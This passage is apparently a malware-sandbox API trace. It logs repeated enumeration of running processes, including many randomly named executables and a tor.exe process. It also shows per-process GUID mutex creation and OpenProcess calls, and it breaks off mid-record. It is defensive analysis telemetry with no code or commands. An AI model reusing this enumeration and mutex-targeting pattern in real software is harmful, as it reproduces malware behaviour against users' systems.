1 [0116.444] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0116.444] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0116.445] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0116.446] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0116.447] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0116.448] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0116.449] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0116.450] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0116.450] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0116.451] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0116.452] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0116.453] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0116.454] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0116.455] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0116.455] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0116.456] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0116.457] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.458] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0116.459] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.459] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0116.460] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0116.461] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0116.554] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0116.556] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0116.556] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.557] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0116.558] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0116.558] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13d8 [0116.558] GetLastError () returned 0xb7 [0116.558] CloseHandle (hObject=0x13d8) returned 1 [0116.558] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0116.559] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0116.560] CloseHandle (hObject=0x13e0) returned 1 [0116.560] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0116.667] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13e0 [0116.669] Process32FirstW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.670] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0116.671] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0116.671] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.672] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0116.673] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.674] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0116.674] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0116.675] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0116.676] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0116.677] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.678] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.678] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.679] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.680] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.681] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0116.682] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.683] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.684] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0116.684] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.685] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.686] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0116.686] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13d8 [0116.686] GetLastError () returned 0xb7 [0116.686] CloseHandle (hObject=0x13d8) returned 1 [0116.686] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0116.687] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0116.687] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13d8 [0116.687] GetLastError () returned 0xb7 [0116.687] CloseHandle (hObject=0x13d8) returned 1 [0116.687] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0116.688] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.689] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0116.689] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13d8 [0116.689] GetLastError () returned 0x0 [0116.689] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0116.689] CloseHandle (hObject=0x13d8) returned 1 [0116.689] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.690] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0116.690] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13d8 [0116.690] GetLastError () returned 0x0 [0116.690] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0116.690] CloseHandle (hObject=0x13d8) returned 1 [0116.690] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.691] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0116.691] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13d8 [0116.691] GetLastError () returned 0xb7 [0116.691] CloseHandle (hObject=0x13d8) returned 1 [0116.691] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.692] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0116.692] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13d8 [0116.692] GetLastError () returned 0x0 [0116.692] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0116.692] CloseHandle (hObject=0x13d8) returned 1 [0116.692] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0116.693] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0116.693] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0116.694] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0116.695] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0116.696] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0116.697] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0116.698] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0116.698] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0116.699] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0116.700] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0116.701] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0116.702] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, 